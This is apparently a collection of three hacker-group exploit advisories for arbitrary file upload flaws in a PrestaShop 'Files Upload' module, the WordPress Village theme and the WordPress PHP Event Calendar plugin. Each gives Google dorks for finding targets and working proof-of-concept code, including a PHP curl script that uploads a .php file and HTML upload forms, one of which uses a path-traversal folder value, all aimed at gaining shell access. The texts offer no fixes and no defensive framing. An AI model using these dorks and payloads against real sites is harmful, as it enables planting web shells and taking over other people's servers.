Module Files Upload Arbitrary File Upload - PrestaShop

#- Title: Module Files Upload Arbitrary File Upload - PrestaShop

#- Author: UyulCrack

#- Published : 30/06/2016

#- Developer : Prestashop

#- Link Download : addons.prestashop .com/fr/4270-files-upload.html

#- Price : 79,99 €
#- Google Dork: Use Your Brain

#- Fixed in Version : -

#- Tested on : windows

=======================================================

-- Proof Of Concept --

Description : 

Simplify sending large files to your customers! This module allows your customers to send you one or more files in a simple and fast way. For example, a client wants to send EPS files of several gigabytes.
With this module you can recover the files just in the backoffice of your PrestaShop,

• Multilingual
• Multi Upload
• Drag and Drop
• Filter on file extensions
•  Limit files size
• Download customers files on the backoffice
• Send a mail to the customer at the end of the upload
• Send an email to the admin of the store
• Only connected customers can upload files
• Multi-Hook Module: right column, top left page, product page.

Vulnerability : 
site /modules/filesupload/upload.php

When Vuln : 

{"jsonrpc" : "2.0", "result" : null, "id" : "id"}

CSRF

<?php

$url = "http://www.site"; // put URL Here
$post = array
(
       "file" => "@3xploi7.jpg",
       "name" => "3xploi7.php"
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data;

?>

If Succesfully   > 

Shell Acces ? Click Here 

Greetings by UyulCrack

Thanks for TKJ Cyber Art - Indonesian Code Party - ZeynnymouZ

WordPress Village theme Arbitary File Upload

#- Title: WordPress Village theme Arbitary File Upload

#- Author: -

#- Date: 2014

#- Developer : ThemeProvince

#- Link Download : themeforest .net/item/village-a-responsive-fullscreen-wordpress-theme/237812

#- Google Dork: inurl:"/themes/village/"

#- Fixed in Version : -

#- Tested on : Windows 

======================================================

-- Proof Of Concept --

When Vuln :

{"error":"No files were uploaded."}

CSRF : 

<form enctype="multipart/form-data"

action="site .com/wp-content/themes/village/blueprint/gallery/ajaxupload/server/php.php" method="post">

Your File: <input name="qqfile" type="file" /><br />

<input type="submit" value="upload" />

</form>

Shell Path : Here

WordPress PHP Event Calendar 1.5 Arbitrary File Upload

#- Title: WordPress PHP Event Calendar Arbitrary File Upload

#- Author: CrashBandicot

#- Date: 04/02/2015

#- Vendor : phpeventcalendar. com

#- Developer : -

#- Link Download : Wordpress. org/plugins/php-event-calendar/

#- Google Dork: inurl:wp-content/plugins/php-event-calendar/

#- Tested on : MSwin

#- Fixed in Version : > 1.5

=======================================================================

 &- Vulnerability : /wp-content/plugins/php-event-calendar/server/classes/uploadify.php ( "Uploadify.php" )

Bug Code :

<?php

/*

Uploadify

Copyright (c) 2012 Reactive Apps, Ronnie Garcia

Released under the MIT License <http://www.opensource.org/licenses/mit-license.php>

*/

// Define a destination

//$targetFolder = '/uploads'; // Relative to the root

$targetFolder = $_POST['targetFolder']; // wp upload directory

$dir = str_replace('\\','/',dirname(__FILE__));

//$verifyToken = md5('unique_salt' . $_POST['timestamp']);

if (!empty($_FILES)) {

    $tempFile = $_FILES['Filedata']['tmp_name'];

    //$targetPath = $dir.$targetFolder;

    $targetPath = $targetFolder;

    $fileName = $_POST['user_id'].'_'.$_FILES['Filedata']['name'];

    $targetFile = rtrim($targetPath,'/') . '/' . $fileName;

    // Validate the file type

    $fileTypes = array('jpg','jpeg','gif','png'); // File extensions

    $fileParts = pathinfo($_FILES['Filedata']['name']);

    if (in_array($fileParts['extension'],$fileTypes)) {

        move_uploaded_file($tempFile,$targetFile);

        echo '1';

    } else {

        echo 'Invalid file type.';



    }

&- When Vulnerable : *Blank*

Proof Of Concept :

Material : Sh3ll.php.gif (if support) / Upload image.gif

HTML Code : 

<div><form action="http://3xploi7.com/wp-content/plugins/php-event-calendar/server/classes/uploadify.php"  method="post" enctype="multipart/form-data">
 <input type="file" name="Filedata" id="file" ><br>
 <input type="text" name="targetFolder" value="../../../../../" id="file" ><br>
 <input type="text" name="user_id" value="3xploi7" id="file" ><br>
 <input type="submit" name="submit" value="3xploi7ed !" >
</form></div>

Shell Acces ? Here